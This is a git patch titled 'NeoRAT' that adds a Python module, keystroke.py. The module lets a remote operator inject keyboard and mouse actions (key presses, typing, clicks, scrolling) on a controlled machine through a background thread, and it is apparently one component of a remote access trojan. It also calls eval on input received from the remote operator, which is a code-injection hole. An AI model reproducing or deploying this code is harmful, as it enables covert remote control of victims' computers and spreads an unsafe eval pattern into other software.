From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/client_handling/keystroke.py | 68 ++++++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 foreign/client_handling/keystroke.py (limited to 'foreign/client_handling/keystroke.py') diff --git a/foreign/client_handling/keystroke.py b/foreign/client_handling/keystroke.py new file mode 100644 index 0000000..03047f0 --- /dev/null +++ b/foreign/client_handling/keystroke.py @@ -0,0 +1,68 @@ +import threading +import time + +from pynput.keyboard import Key, Controller as KeyboardController +from pynput.mouse import Button, Controller as MouseController + +from foreign.parse.crash_exception_handling import * + + +@crash_exception_handling +def keystroke_action(inject): + keyboard = KeyboardController() + mouse = MouseController() + + for command in inject: + command = command.split(' ') + c_type, c_data = command[0], command[1] + + if c_type == 'press': + try: + c_data = eval(f'Key.{c_data}') + except: + pass + finally: + keyboard.press(c_data) + keyboard.release(c_data) + elif c_type == 'hold': + try: + c_data = eval(f'Key.{c_data}') + except: + pass + finally: + keyboard.press(c_data) + elif c_type == 'release': + try: + c_data = eval(f'Key.{c_data}') + except: + pass + finally: + keyboard.release(c_data) + elif c_type == 'type': + keyboard.type(' '.join(command[1:])) + elif c_type == 'position': + mouse.position = [int(position) for position in c_data.split(',')] + elif c_type == 'move': + move_positions = [int(position) for position in c_data.split(',')] + mouse.move(move_positions[0], move_positions[1]) + elif c_type == 'mhold': + mouse.press(eval(f'Button.{c_data}')) + elif c_type == 'mrelease': + mouse.release(eval(f'Button.{c_data}')) + elif c_type == 'click': + mouse.press(eval(f'Button.{c_data}')) + mouse.release(eval(f'Button.{c_data}')) + elif c_type == 'dclick': + mouse.click(eval(f'Button.{c_data}'), 2) + elif c_type == 'scroll': + scroll_positions = [int(position) for position in c_data.split(',')] + mouse.scroll(scroll_positions[0], scroll_positions[1]) + elif c_type == 'sleep': + time.sleep(float(c_data)) + else: + raise Exception('Invalid keystroke command') + + +def keystroke(inject): + threading.Thread(target=keystroke_action, args=(inject,), daemon=True).start() + return {'message': 'Keystroke thread started', 'text_mode': 'primary', 'text_extras': {'point': True}} \ No newline at end of file -- cgit v1.2.3